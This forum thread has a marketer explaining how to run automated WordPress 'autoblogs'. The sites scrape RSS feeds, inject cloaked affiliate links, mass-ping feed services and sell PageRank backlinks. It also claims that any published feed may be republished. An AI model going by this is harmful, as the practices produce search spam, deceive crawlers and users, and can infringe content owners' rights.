      uhm...i understand how gocodes works, it uses an .htacces redirect, so eg. i can specifiy go/keyword as gocode and it will be rewritten to my aff link.

      Where i am stumped is HOW on earth the "mysite/go/keyword" entries get into the feed content? Where do i edit this ?

      Say...there is a feed blah blah weight loss....no i want to make a gocode for the weightloss keyword. I am not stupid...but the gocode site and its so called "FAQ" didnt help me. I need to know how to get my aff links IN the feeds/content on the blog. Otherwise i have everything running as you explained.
      Originally Posted by GeorgR. View Post

      nm..found the rewrite setting in wpomatic.
      Yep, you got it! See? That's what I'm talking about. Kudos to you, my friend. I knew there were some smarties here. Turns out it's so easy you didn't even need my help. All it took to find that out was to actually TRY IT! I feel like a lot of people get crippled by the "Fallacy of Information" (look it up if you don't know what that is). Instead, just roll up your sleeves and get to it. It's easy as pie!

      Originally Posted by GeorgR. View Post

      well this post certainly nicely belongs with the current "clog farming" craze, i think its interesting since i could try out new plugins. Its solid and "simple".

      I am still amazed how i can actually create a good looking WP blog about WHATEVER in 3 minutes or less...in addition this blog is auto-updating AND has my affiliate links in it. The more i work with WP and the plugins, the more i like it. There is really not more to do than getting a domain, maybe also get a auto-social-bookmarking plugin..and you're good to go.

      Now i am off searching a good niche
      Yep. Kick Ass. I actually use Auto Social Poster myself, but it's not free, so I didn't mention it here. Keep an eye out for new WP plugins all the time. There's constantly stuff coming out that will help do more. For example, there are several plugins that will automatically create tags for your posts. Then there are plugins that will automatically SEO your pages based on your tags, for a 1-2 automated combo. If you're into the SEO thing, you can even get plugins to really finely control your nofollows so you can control that PR and maximize it. The higher the PR, the more you can charge for text link ads. You can also get plugins that will auto-link tags and category names as they appear in your copy, for deep linking into your site.

      All kinds of stuff can be done with this - big high five to Georg for showing that all there is to it is to DO IT.
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  • Profile picture of the author Alex Sol
    Hey, Keith.

    Thanks for clearing this up. I wanted to know what to search for - and you just gave me that answered. I guess next time i'll just ask you instead of beating around the bush.

    Sorry for the misunderstanding,

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  • Profile picture of the author Keith Kogane
    Check out this thread: http://www.warriorforum.com/main-int...-shoulder.html

    Blogs built using my method are perfect for this kind of flip. I haven't used his exact method, but there are many more selling points for a potential buyer. It's auto-posting, auto-promoting. You don't have to do anything but add in your own affiliate links/ad codes.

    Someone go do this and make some money!
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  • Profile picture of the author Evita
    Keith,
    Is your focus on affiliate products on these blogs, or adsense also?

    Thanks

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      Keith,
      Is your focus on affiliate products on these blogs, or adsense also?

      Thanks

      Evita
      I don't really focus on anything in particular. I try to monetize everything I can. Mainly I set up the affiliate products AND I throw AdSense up there at the beginning. Once I set it up, I don't really do much else unless nothing's working at all, or if it's working particularly well. If it's A, I change out my affiliate products and try something else. If it's B, I look to expand monetization and do more ad sales, include more linking opportunities, etc.

      But even if it doesn't work as far as moving product or getting ad clicks, it will still automatically get page rank. The worst performing blog I ever did got to be a PR4 after my spending an hour setting it up, and then not touching it for 3 months. I can sell PR4 backlinks all day long for at least $50 a month. Each. I try to limit paid backlinks (I just stick them in the built in link-list in Wordpress) to less than 10 per blog. I figure you can do the math there.

      Now, there's also a plugin I'm working with that is a donation mechanism. I forget what it's called, but it allows a visitor to make a PayPal Payment and fill out a sponsor form, which then puts their details on the site automatically. What I want to see is if I can get it to work with a PayPal subscription, so I can just send prospective buyers directly to the blog for self-serve. Right now, I have to do that part of the business manually.

      Try it standard with adsense (or your favorite ad publishing network) and a handful of affiliate products. It doens't hurt all all to do both. As to what works better, it depends on the niche and the products, and a whole lot of chance. Remember, I really don't know where all this stuff is ending up. I just submit it to a ton of places and see what happens.

      You'll end up creating trackbacks on other blogs, your content will get syndicated on other aggregators, once you start getting attention, people will link to you on your own, etc. etc.

      Hope that helps!
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  • Profile picture of the author tommygadget
    Hello,

    Keith, I saw your link in my thread. I will say something here about your method and make a comment that may help some. First off, as I mention in my ebook, traffic and income will determine your blog's value. As such, if you get these blogs to over $100/month income, you will do well, very well. I show you how to add services and extras to pump up the profits as well.

    Now on to a couple of helpful points. First off, regarding those massive ping lists. You have to be VERY careful about those. If you look closely, you'll see that several services listed above actually ping the same sites. As a result, every time you ping, you'll be pinging 3-4-5 or more times with the same information. This can eventually cause your blog to be blacklisted on several ping urls. I use a small but not redundant list. Second, please avoid massively posting using automated tools. Have a little patience. Set the posting frequency to something a motivated human can achieve. If you fly under the radar, you'll do much better in the long term.

    Hope this helps.

    TomG.
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    • Profile picture of the author Shannon Herod
      If you look closely, you'll see that several services listed above actually ping the same sites. As a result, every time you ping, you'll be pinging 3-4-5 or more times with the same information. This can eventually cause your blog to be blacklisted on several ping urls.
      That is a fantastic point and it was one I was just going to bring up. I'm glad I ended up reading your posts.

      That is something you really need to watch out for. You can get your blog banned from those pinging sites. Trust it when I say it happens.

      Regards,

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    • Profile picture of the author Keith Kogane
      Originally Posted by tommygadget View Post

      Hello,

      Keith, I saw your link in my thread. I will say something here about your method and make a comment that may help some. First off, as I mention in my ebook, traffic and income will determine your blog's value. As such, if you get these blogs to over $100/month income, you will do well, very well. I show you how to add services and extras to pump up the profits as well.

      Now on to a couple of helpful points. First off, regarding those massive ping lists. You have to be VERY careful about those. If you look closely, you'll see that several services listed above actually ping the same sites. As a result, every time you ping, you'll be pinging 3-4-5 or more times with the same information. This can eventually cause your blog to be blacklisted on several ping urls. I use a small but not redundant list. Second, please avoid massively posting using automated tools. Have a little patience. Set the posting frequency to something a motivated human can achieve. If you fly under the radar, you'll do much better in the long term.

      Hope this helps.

      TomG.
      Great points Tommy. Especially about the ping list. You do want to make sure you're not double pinging any services. Try to get as many as possible, but don't overdo it. Very important to note. That doesn't apply to the submission of your RSS feed - I recommend doing that in as many places as possible.

      Now as far as posting with the automated tools, it really depends on the look and feel of the blog. I try to use a news-y theme, and I develop a pretty robust category structure, and then match that with my WP-O-Matic schema. So what I get it what looks less like a blog and more like an authority news site, rather than what most consider a "blog" (a series of posts from a single author).

      For me, the more content, and the more variated, the better. Here's a super-power tip I didn't include in the original writeup (I forgot) but you can get a plugin called "WP More Feeds" that allows you to make a separate feed URL for each CATEGORY you create for your posts. Even a feed for each tag! That means you can submit that many MORE feeds to all these RSS sites and get even more coverage.

      EDIT: I was incorrect - More Feeds just makes your category and tag archive pages into feeds. Wordpress itself makes per-category feeds as explained in their docs. Thought it didn't sound right, so I double checked on a blog that uses it. The point is still valid though - your blog has multiple feeds, and you should use em all!

      Then, go to feedburner, get set up there with all your feeds, and then submit all THOSE to all the RSS sites.

      You can really go nuts with this and make your content just cast a gigantic net. Or, you can just do a reasonable amount per blog, then instead of overdoing it on one, spend your energy on another blog in another niche. Or, another super tip - if you're in a niche that's doing well, make more than one blog in the same niche to cover different sub-niches. I've only done this in one of my markets, but it's working well. If I wasn't so lazy, I'd really expand on it some more.
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  • Profile picture of the author TomLeDree
    Are you allowed to pull RSS feeds from sites and blogs and just republish them on your own site?
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    • Profile picture of the author Keith Kogane
      Originally Posted by TomLeDree View Post

      Are you allowed to pull RSS feeds from sites and blogs and just republish them on your own site?
      I'm syndicating them. That's part of the whole reason RSS exists. "Really Simple Syndication". If they don't want it re-published, they shouldn't put it in a feed, is my thinking. But depending on their specific TOCs, I might be stepping on some toes, but not so far as I know.

      I also link back to the sources too, so they're all getting benefit. It's no different than if I was a news site, quoting stories and linking back to the source. I just do it automatically. Isn't that really what something like Google News is, after all? I'm not stealing the content or re-labeling it as my own, I'm republishing it intact. I just also add in my own links, and then further re-publish.

      My goal as stated is to make a niche authority site. What better way to do that than to set my blog up as a crossroads for all niche related discussion and new content, no matter where it might appear?

      In fact, I never bothered to follow up, but I bet original posters who get re-syndicated by me also get a huge SEO benefit from my process as well. Their backlinks get syndicated as well as mine. Never had anyone complain or contact me to be removed. If they did, I could, but what are they getting out of it - free links and traffic?
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      • Profile picture of the author moodykitty
        Originally Posted by Keith Kogane View Post

        I'm syndicating them. That's part of the whole reason RSS exists. "Really Simple Syndication". If they don't want it re-published, they shouldn't put it in a feed, is my thinking. But depending on their specific TOCs, I might be stepping on some toes, but not so far as I know.

        I also link back to the sources too, so they're all getting benefit....
        With WP-o-matic how are you linking back to the source?

        I tried setting it up with goarticles feeds but it doesn't link back. I know in the Options section I can 'Post title links to source' but I don't want to do that, do I?

        Any help is appreciated!

        Thanks for the great post, btw.

        EDIT TO ADD: I found the answer, duh. from the FAQ of the plugin site:

        "How do I link to the original site/article?

        Use the post template feature (example: {content} <p><a href={permalink}>Link to the original site</a></p>) "
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  • Profile picture of the author Evita
    I'm baaaaack...

    Got the cron job sorted, but having a blank about getting the rss feeds.

    Went to Google news. My keyword has a lot of entries, but nowhere on there is there a way to subscribe to a feed? We are looking for the url of the feed, yes?

    Does that mean I can find blogs on my topic and use their feed? Don't want to copy someone's blog....

    Could someone elaborate on finding a feed please. I already got 10 posts on the blog but none are on my topic...lol...

    Can you set the max. amount of posts per day somewhere?

    Evita
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    • Profile picture of the author Keith Kogane
      Originally Posted by Evita View Post

      I'm baaaaack...

      Got the cron job sorted, but having a blank about getting the rss feeds.

      Went to Google news. My keyword has a lot of entries, but nowhere on there is there a way to subscribe to a feed? We are looking for the url of the feed, yes?

      Does that mean I can find blogs on my topic and use their feed? Don't want to copy someone's blog....

      Could someone elaborate on finding a feed please. I already got 10 posts on the blog but none are on my topic...lol...

      Can you set the max. amount of posts per day somewhere?

      Evita
      So when you are looking at the results page when you've done a google news search, there is a menu of links along the left hand column. The one that says "RSS" is near the bottom and is the one you're looking for.

      Yes, you can syndicate blogs directly if they provide an RSS feed. The idea is that you're not just copying one blog. If you take blog feeds directly, try to get a bunch of blogs in the same niche, and syndicate them all, so you're aggregating a bunch of content, which is a value in itself.

      Now, if you're getting incorrectly targeted content, and are getting way too many posts, you need to refine your search terms. It's easy, you do it the same way you would if you were searching yourself. Just refine your terms until all (or at least a majority) of the results ARE appropriate for your niche.

      As far as limiting the number of posts, you do that when you set up the campaign. You can limit it to a number of items to pull while ignoring the rest. That's what you're looking to do, I believe.

      Let me know if that answers your questions. Kudos on getting started and implementing this so quickly!
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      • Profile picture of the author Ken
        Thanks Keith:

        Great post. I've already started two sites and more to come.

        BTW. Auto Social Poster is down for the day. Will be open to-morrow.

        NowI'm off to make some money.

        Ken
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        • Profile picture of the author bgmacaw
          I've found WP-O-Matic to be impossibly picky about the RSS feeds. I couldn't get it to create a post for Google News, Google Blog Search, eBay/EPN, Yahoo Pipes or anything else I've tried. I'll do some more Googling around for answer but if anyone has any thoughts about the configuration, please let me know.
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          • Profile picture of the author Keith Kogane
            Originally Posted by bgmacaw View Post

            I've found WP-O-Matic to be impossibly picky about the RSS feeds. I couldn't get it to create a post for Google News, Google Blog Search, eBay/EPN, Yahoo Pipes or anything else I've tried. I'll do some more Googling around for answer but if anyone has any thoughts about the configuration, please let me know.
            Hmm. I've never had any trouble getting it to work. The only thing I can think of is if you don't have PHP5. You need PHP5 to run the SimplePie library that WP-O-Matic uses.

            But I'm not a technical person. It works easy peasy for me and I've never had an issue.

            Edit: I wanted to add, if you're having trouble with WP-O-Matic, you might try using a plugin called "Feed Wordpress" that looks like it does something similar. I've never used it, so I can't say for sure, but it sounds like it does. If anything, it may lack the link replacement feature, but you can get yet another plugin called "SEO Smart Links" can add that functionality back. Again, I haven't tested this combo, but it might work for you if you can't use WP-O-Matic. Hope that helps!

            Edit #2: nm - I'm a dummy - the above system WILL work, I also tested with another re-linking plugin called "KB Linker" - the links show up in the content portion of the feeds. At least, preliminary testing indicates that it does, but I prefer the way WP-O-Matic does it, because the link is actually hard-coded into the body of the post when it's created. These other plugins modify the content when the page is displayed. I guess what I'm saying is, I use WP-O-Matic, but if it's not working for you, try these alternatives. I haven't tested it extensively, it appears that it would work fine. Another important note, even though SimplePie (part of WP-O-Matic) *says* it needs PHP5, the part of it that WP-O-Matic uses must not need it, because just for giggles I tried doing this on a PHP4 installation and it failed the SimplePie test, but still runs and works perfectly.
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            • Profile picture of the author bgmacaw
              Originally Posted by Keith Kogane View Post

              Hmm. I've never had any trouble getting it to work. The only thing I can think of is if you don't have PHP5. You need PHP5 to run the SimplePie library that WP-O-Matic uses.

              But I'm not a technical person. It works easy peasy for me and I've never had an issue.
              Ha! It's probably not working for me because I am a technical person, just not in PHP and Linux (I do the Windows/ASP.NET corporate programming side of things). I'll have to dig into it further if there isn't a quick answer.

              My server, Host Gator, does pass the SimplePie library test and the plugin runs but doesn't post anything. It almost looks like the WP-O-Matic can't deal with Google News or Blog Search, Yahoo Pipes, eBay feeds, Feedburner or anything else other than a plain Jane WordPress RSS feed. If you're using anything other than WP feeds let me know so I won't pursue a blind alley looking at code but instead look at configuration issues.
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              • Profile picture of the author Keith Kogane
                Originally Posted by bgmacaw View Post

                Ha! It's probably not working for me because I am a technical person, just not in PHP and Linux (I do the Windows/ASP.NET corporate programming side of things). I'll have to dig into it further if there isn't a quick answer.

                My server, Host Gator, does pass the SimplePie library test and the plugin runs but doesn't post anything. It almost looks like the WP-O-Matic can't deal with Google News or Blog Search, Yahoo Pipes, eBay feeds, Feedburner or anything else other than a plain Jane WordPress RSS feed. If you're using anything other than WP feeds let me know so I won't pursue a blind alley looking at code but instead look at configuration issues.
                No, I use Google News and Blog Search. I don't use the others, but the only time I have trouble is when the feed content itself has some weird junk in it that messes up the formatting. It definitely doesn't affect the posting. Check out the support forum for the plugin, or maybe try it with a different host. I like GoDaddy, but it works fine on Dreamhost as well.
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  • Profile picture of the author iw433
    Great Post!! Thanks. Want to control how often you ping. Get, "maxblogpress-ping-optimizer". You can set your pings for however long an interval you want.
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    • Profile picture of the author Keith Kogane
      Originally Posted by iw433 View Post

      Great Post!! Thanks. Want to control how often you ping. Get, "maxblogpress-ping-optimizer". You can set your pings for however long an interval you want.
      Yes! I also recommend this plugin as well. It's not VITAL, but it will help your blog appear more natural if you plan to go full automatic.

      Even if you don't go full automatic, you could easily use this method to save all your RSS stuff as drafts, then go in and manually edit, tweak, commentate, etc. It's still an IMMENSE time saver. That's if you're trying to go with the slick, for real, dedicated niche site.

      My goal is more to make a lot of average performing mediocre sites and keep profiting from volume. That's why I focus on selling advertising, because SEO savvy marketers don't really care if the blog is crappy or not as long as the link gives PR juice. I'm not inclined to care much either.

      Good enough is good enough for me. But I don't want anyone to exclude themselves from this method because they don't want to make an automated re-poster. The technique is still kickass if you need a way to constantly come up with stuff to blog about. DOn't go looking for topics - use my system to let topics come to you!

      Anyways, enough rambling. Hope that helps.
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    • Profile picture of the author Paul Myers
      Keith,
      If they don't want it re-published, they shouldn't put it in a feed, is my thinking. But depending on their specific TOCs, I might be stepping on some toes, but not so far as I know.
      I would caution folks to read those terms and conditions prior to adding a feed. Some people disagree with you on your idea that it shouldn't be in an RSS feed unless they want it re-published.

      I provide a feed for the benefit of my visitors, not for other people to use my material, commercially or otherwise. There is a notification to that effect on the front page, above the fold.

      That said, for feeds that allow it, and that's probably the vast majority of them, this is an excellent idea, well presented. Nice stuff, sir.


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    • Profile picture of the author Alminc
      Keith,

      What is the stable version of W-P-O-Matic plugin
      that you use and where can I download it?

      I was on the author's page and it seems that this
      plugin has many bugs and problems, that's why I
      ask. He states that it still can have bugs (v. 1.0-RC4)

      Is it compatible with 2.6.x version of wordpress?


      Could you please point me into right direction?


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      • Profile picture of the author Keith Kogane
        Originally Posted by Alminc View Post

        Keith,

        What is the stable version of W-P-O-matic plugin
        and where can I download it?

        Is it compatible with 2.6.x version of wordpress?

        I have same questions about GoCodes plugin.

        Could you please point me into right direction?


        Almin
        1. Whatever version is linked to from the main site for the plugin. It's spelled "WP-O-Matic" - I think the site it's hosted on is called DevThought or something like that, but you can download it from the WordPress.org plug in depository. That's under the "Extend" link on their site, if I recall.

        2. Yes, I'm using it right now with the most current version of WordPress.

        3. I'm not sure what your questions are about the GoCodes plugin, so you'll have to ask em before I can answer em. GoCodes is available in the Wordpress plugin directory as well. Maybe you can get the answers you want there? If not, let me know!

        Hope those answers help. Let me know if I can make anything clearer.
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        • Profile picture of the author Alminc
          Thank you for your answers.

          I don't have questions about GoCode .

          But there is one part of your post that I don't understand:

          Your blog domain is getting the benefit of all this backlink love so you will start to grow PR over time too. (This is yet another reason we're using GoCodes. All the backlinks you're generating link back to your own domain, giving YOU the PR benefit).
          If I am linking to my 'money sites' using GoCode, then those are all outgoing links that leads to my monetized URLs. How is then the number of backlinks to the blog itself increased and blog getting higher PR?
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          • Profile picture of the author Keith Kogane
            Originally Posted by Alminc View Post

            Thank you for your answers.

            I don't have questions about GoCode .

            But there is one part of your post that I don't understand:



            If I am linking to my 'money sites' using GoCode, then those are all outgoing links that leads to my monetized URLs. How is then the number of backlinks to the blog itself increased and blog getting higher PR?
            Sorry, I read your other post as "I have SOME questions about GoCodes, not "same" - my bad. Note that if you just go check out the plugins and do a Google search to find them, you can quickly see compatibility, etc. Just saying you don't have to wait around in a forum for me to answer - the answers are all out there already. Just need to search.

            For your GoCodes question:

            So you have hypothetically, some affiliate URL like hxxp://www.someaffiliateurl.com - you paste that into gocodes and it will create something like hxxp://www.myblog.com/go/someaffiliateurl - you can specify it the setup. The /go url redirects to whatever you tell it to, in this case, we've set it to redirect to hxxp://www.someaffiliateurl.com.

            Now, you use your gocodes urls to make hyperlinks out of the keywords in your posts - you do this part in WP-O-Matic. All the backlinks going out for syndication are pointing to hxxp://www.myblog.com/go/whatever, which is on *your* domain. You decide what the redirect goes to in the gocodes interface.

            When you submit your RSS feed to various other sites, every time you update your blog, your content (with your links back to your domain) will get published in various places on the web, get crawled by spiders, get your pages indexed, add to your PR value to your domain, etc. If those links are *clicked* by a person, they will get redirected to the offer. However, the links will still count as pointing to your own domain.

            At least, this is the way it was explained to me by my tech guy. GoCodes operates at the htaccess level, so spiders think the content on the redirect is actually on your own site. I hope I'm explaining that the right way - remember, I'm not a technical person.

            The bottom line is, it works.

            Does that make sense? If not, install it and try it out. It'll make sense when you actually do it, and you'll answer almost all your own questions in the process. Or, ask a more detailed question here and I'll try to answer further as best I can.

            I talked earlier about the "Fallacy of Information" - don't waste time pursuing additional information that will have no affect on the outcome. If you set it up like I told, you, it'll work as described. To keep asking questions without trying it out for yourself is procrastination and distraction.

            Not trying to chide you, just sharing that thought with others. I know I personally used to struggle with that problem, but I started having real success when I just focus on *doing* stuff and quit learning for a while.

            Edit: The forum software made links out of my made up dummy urls, so I had to make the "http" above into "hxxp" so you could see the example and not see some link to a video game thing. The links above are just for illustration purposes.
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    • Profile picture of the author Seattle Mike
      Anyone else having trouble getting gocodes working?

      It says redirect created successfully, but I just get a 404 if I test them.

      I added the htaccess line of code but that didn't make a diff.
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      • Profile picture of the author Keith Kogane
        Originally Posted by deverell View Post

        Anyone else having trouble getting gocodes working?

        It says redirect created successfully, but I just get a 404 if I test them.

        I added the htaccess line of code but that didn't make a diff.
        Can you give me more detail on exactly what you did? PM me if you don't want to get into it here, but I'm happy to help you figure it out.
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    • Profile picture of the author lordgalex
      Thanks for sharing with us...
      This is very useful for me.
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    • Profile picture of the author Chris Grable
      Keith,

      Is there any way you could point us to a site where you have this implemented? I'm having trouble wrapping my arms around the concept.... I guess maybe I just need to see iut.
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    • Profile picture of the author tiger325
      Thank you for sharing with all of us Keith
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    • Profile picture of the author Kamran
      Thanks a lot for sharing your technique. I have a question:
      How much can you expect from such blogs and what is the time frame?
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    • Profile picture of the author profitscc
      Keith,

      Hope you don't mind if I incorporate some of the great blog ideas
      and niche blog business models discussed here within my
      Expert Blogging video tutorials... I can always add an additional
      video tutorial.

      Expert Blogging Secrets @ Profits.CC

      Actually, I am wondering whether you'd like to receive a
      complimentary Review Copy of such Video Course, so
      that you may provide a Critique.

      And because today is Black Friday, I am also offering a Review Copy
      to anyone reading this thread. You see, the video course is
      brand new, and I am looking for genuine, authentic testimonials.

      Thanks.
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      • Profile picture of the author Keith Kogane
        Originally Posted by profitscc View Post

        Keith,

        Hope you don't mind if I incorporate some of the great blog ideas
        and niche blog business models discussed here within my
        Expert Blogging video tutorials... I can always add an additional
        video tutorial.

        Expert Blogging Secrets @ Profits.CC

        Actually, I am wondering whether you'd like to receive a
        complimentary Review Copy of such Video Course, so
        that you may provide a Critique.

        And because today is Black Friday, I am also offering a Review Copy
        to anyone reading this thread. You see, the video course is
        brand new, and I am looking for genuine, authentic testimonials.

        Thanks.
        Hi.

        I kind of do mind if you are just going to copy my material for use in your own product.

        I'm working on my own course for my method (as you must have read here), so I'd prefer if you don't devalue my method and diminish my own product's potential. I spent a year developing this method, and have been supporting interested people here and via PM for the couple of weeks since I first detailed it here.

        However, if you want to link people back to this thread, or work something out with me to offer my materials to your customers, I'd much prefer that.

        And I'd love to have a look at your course for the same reason - there's just so much you can do with WordPress and I don't know it all. If you have good material, I'd love to be able to refer people to other good material that's out there.

        PM me if you want to discuss it further, but please don't just take my ideas and present them as your own. To me, that goes against the spirit of the Warrior forum.

        That being said, you DID ask, so I don't think you'd go against my wishes.

        I very much appreciate your interest and look forward to possibly working with you in the future!

        Thanks again!
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      • Profile picture of the author JustVisiting
        Originally Posted by profitscc View Post

        Keith,

        And because today is Black Friday, I am also offering a Review Copy
        to anyone reading this thread. You see, the video course is
        brand new, and I am looking for genuine, authentic testimonials.

        Thanks.
        Hi Armando

        I'd like a review copy please.

        Thanks
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        • Profile picture of the author Paul Wilson
          Hi Armando

          I'd like a review copy please.

          Thanks

          Paul.
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        • Profile picture of the author Lee MacRae
          Don't know if anyone else posted this [so much in this post!] but I had a hard time with the gocodes and I found another plugin that will change a word to a link

          Automatic SEO Links
          WordPress › Automatic SEO Links WordPress Plugins


          Just choose a word and a URL and this plugin will replace all matches in the posts of your blog. You can set title.target,rel and in case the plugin finds more of once the same word in a post, it will only change the first one.
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          • Profile picture of the author Keith Kogane
            Originally Posted by Lee MacRae View Post

            Don't know if anyone else posted this [so much in this post!] but I had a hard time with the gocodes and I found another plugin that will change a word to a link

            Automatic SEO Links
            WordPress › Automatic SEO Links WordPress Plugins


            Just choose a word and a URL and this plugin will replace all matches in the posts of your blog. You can set title.target,rel and in case the plugin finds more of once the same word in a post, it will only change the first one.
            Just to be clear, GoCodes is just to cloak your affiliate links and make sure all links lead back to your domain. It has nothing to do with replacing words with links. That functionality is build into WP-O-Matic, under the "Rewrite" section of the campaign configuration.

            That could be why you *thought* you were having trouble with it.

            Hope that helps.
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    • Profile picture of the author piarwarrior
      Hi I'am a newbie. These Great Tips are really great and usefull for me. How can I find the fast way to get traffic that can conversion to be sales. I really need all guys. Thank for kind helps before
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      • Profile picture of the author Alminc
        I know about a script for wordpress that can automaticaly accept and publish articles from Article Marketer. It's called Auto Submit Articles, but it is compatible only with up to wordpress v. 2.2 .

        I tested it a while ago on wp.2.2 and it worked as expected, but
        that installation was defaced by hackers. Anyway, as far as I know the script can't be used on wp above 2.2.

        I wander if anybody knows about similar article marketer script for wordpress that is compatible with wp 2.6 and above ?
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        • Profile picture of the author Carl Pruitt
          Originally Posted by Alminc View Post

          I know about a script for wordpress that
          can automaticaly accept and publish articles from Article Marketer.
          It's called Auto Submit Articles, but it is compatible only with
          up to wordpress v. 2.2 .

          I tested it a while ago on wp.2.2 and it worked as expected,
          but
          that installation was defaced by hackers. Anyway, as far as I
          know the script can't be used on wp above 2.2.

          I wander if anybody knows about similar article marketer script
          for wordpress that is compatible with wp 2.6 and above ?
          I don't know of one for Article Marketer, but there is a wordpress
          plugin for Unique Article Wizard that you can use to get free
          articles, but it is a little difficult to keep the articles on
          topic and I haven't felt comfortable just letting them post automatically
          without checking them. There are some junky articles that get
          sent out through that service. Some good one's too though.
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    • Profile picture of the author toptones
      Thanks for sharing this Keith. Great stuff.
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    • Profile picture of the author coreytucker
      Ok so I installed the wp omatic plugin and put the code in my cron and now get the following error when I try to create a new campaign in wordpress:



      The following errors have been encountered:

      * Feeds
      o Feed api.moreover.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://api.moreover.com/RPC2)
      o Feed api.my.yahoo.co.jp/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://api.my.yahoo.co.jp/RPC2)
      o Feed api.my.yahoo.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://api.my.yahoo.com/RPC2)
      o Feed audiorpc.weblogs.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://audiorpc.weblogs.com/RPC2)
      o Feed blog.goo.ne.jp/XMLRPC could not be parsed (SimplePie said: A feed could not be found at http://blog.goo.ne.jp/XMLRPC)
      o Feed blogpeople.net/ping could not be parsed (SimplePie said: A feed could not be found at http://blogpeople.net/ping)
      o Feed blogsearch.google.ae/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.ae/ping/RPC2)
      o Feed blogsearch.google.at/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.at/ping/RPC2)
      o Feed blogsearch.google.be/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.be/ping/RPC2)
      o Feed blogsearch.google.bg/ping/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://blogsearch.google.bg/ping/RPC2)
      o Feed feedsky.com/api/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://feedsky.com/api/RPC2)
      o Feed hamo-search.com/ping.php could not be parsed (SimplePie said: A feed could not be found at http://hamo-search.com/ping.php)
      o Feed holycowdude.com/rpc/ping/ could not be parsed (SimplePie said: A feed could not be found at http://holycowdude.com/rpc/ping/)
      o Feed rpc.technorati.jp/rpc/ping could not be parsed (SimplePie said: XML error: no element found at line 1, column 0)
      o Feed rpc.weblogs.com/RPC2 could not be parsed (SimplePie said: A feed could not be found at http://rpc.weblogs.com/RPC2)
      o Feed www.blogpeople.net/servlet/weblogUpdates could not be parsed (SimplePie said: A feed could not be found at http://www.blogpeople.net/servlet/weblogUpdates)
      o Feed xping.pubsub.com/ping/ could not be parsed (SimplePie said: A feed could not be found at http://xping.pubsub.com/ping/)

      Any idea what could be wrong guys?

      Also are we creating a cloaked affiliate link per keyword here? I dont understand exactly what gocodes is all about. Is is strictly for cloaking your affiliate urls or to cloak the affiliate urls with keywords? Thanks
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    • Profile picture of the author nolachief
      keith,

      thanks for this one, too. Great stuff!! and all for FREE!!

      bob
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  • Profile picture of the author Easy_Money
    Great Post! I just purchased an autoblog two days ago. I was going to build another type of site, but realized how pricey and time consuming it would be. I knew of the concept, but not the technicals to set it up.

    The site I purchased does not have all theses nifty traffic building features built in. All I can say is ... Wow! When I finish adding these nifty litle extras to it, this established blog will take off!

    Realistically ... It should be fairly easy to build one of these every day or two. Think about the flipping opportunities in 3 to 6 months, with a reseller hosting account!
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    • Profile picture of the author Keith Kogane
      Originally Posted by Easy_Money View Post

      Great Post! I just purchased an autoblog two days ago. I was going to build another type of site, but realized how pricey and time consuming it would be. I knew of the concept, but not the technicals to set it up.

      The site I purchased does not have all theses nifty traffic building features built in. All I can say is ... Wow! When I finish adding these nifty litle extras to it, this established blog will take off!

      Realistically ... It should be fairly easy to build one of these every day or two. Think about the flipping opportunities in 3 to 6 months, with a reseller hosting account!
      Now you're talking! Way to take the initiative and run with the idea.
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  • Profile picture of the author napoleonfirst
    An OMPL file is really good.
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  • Profile picture of the author Kael41
    Keith, thanks for a great share. If you have any insight, can you us know of any full text feeds that you may be privy towards? I know there's got a be a directory someplace, i just haven't found it yet
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    • Profile picture of the author Keith Kogane
      Originally Posted by Kael41 View Post

      Keith, thanks for a great share. If you have any insight, can you us know of any full text feeds that you may be privy towards? I know there's got a be a directory someplace, i just haven't found it yet
      I don't worry so much about finding full text feeds. They're out there, I find blogs that do it now and again and syndicate them. However, most of the stuff I use are just short, a few hundred words at most. I've been looking around here and I see some folks like to post longer articles on their sites, or maybe even sales or squeezes. I'd recommend putting that kind of thing into a page, rather than a post. Then, you can actually use THOSE urls in your backlink building and start getting those pages to rank.

      If you want to post some lengthier original content but still keep it automated, you can check out a plugin called "Wordpress Article Importer" that I've got. I haven't used it in a long time, but basically you can take a bunch of PLR, zip it, upload it, and this plugin will drip out posts using the article content.

      That's a pretty cool option by itself. You could even get another plugin called "Scheduled Post Shift" that will re-post your archive of posts in a rolling manner. Then you could try something like WordPress ReWriter to make it unique each time.

      Meh, I'm rambling. I guess that's not quite the answer to your question, but hopefully it's useful. There really are a lot of possibilites of what you can do with this method.
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  • Profile picture of the author jazzyjeff
    Keith,

    Thanks for sharing this terrific business model with all of the members in the warrior forum. I also have heard of this model before. People claim it has worked. I have no doubt that you were able to be successful. I am sure that you were able to focus and be successful with this business model. After all, you did spend one entire year before you got noticeable income.

    I have the same problem as most newbie marketers have. I tend to lose focus and jump from business model to business model. I hope that one day I will be able to strap down and just go full out on one type of business model instead of jumping around.
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    • Profile picture of the author Keith Kogane
      Originally Posted by jazzyjeff View Post

      Keith,

      Thanks for sharing this terrific business model with all of the members in the warrior forum. I also have heard of this model before. People claim it has worked. I have no doubt that you were able to be successful. I am sure that you were able to focus and be successful with this business model. After all, you did spend one entire year before you got noticeable income.

      I have the same problem as most newbie marketers have. I tend to lose focus and jump from business model to business model. I hope that one day I will be able to strap down and just go full out on one type of business model instead of jumping around.
      Dude, I used to have the EXACT SAME PROBLEM! That's what I love about this system is that every blog has a degree of uniqueness - I can mess with some new templates and plugins, I end up learning a new niche by doing the keyword and product research, etc. I try different money making methods too. I originally started by focusing entirely on AdSense, but that's really chump change. There's much better money to be made doing other things with this kind of blog.

      But my point is, the work's different enough to be interesting each time. Even though I *could* churn these out in about an hour's time, I usually end up spending at least a day on them when I make them. I love messing with WordPress.

      But even so, it's just a day. I set it up and forget about it. I check back in after a few months and then make adjustments as needed. In other words, it works without me. But that little bit of work ends up growing into an asset that I can do something with.

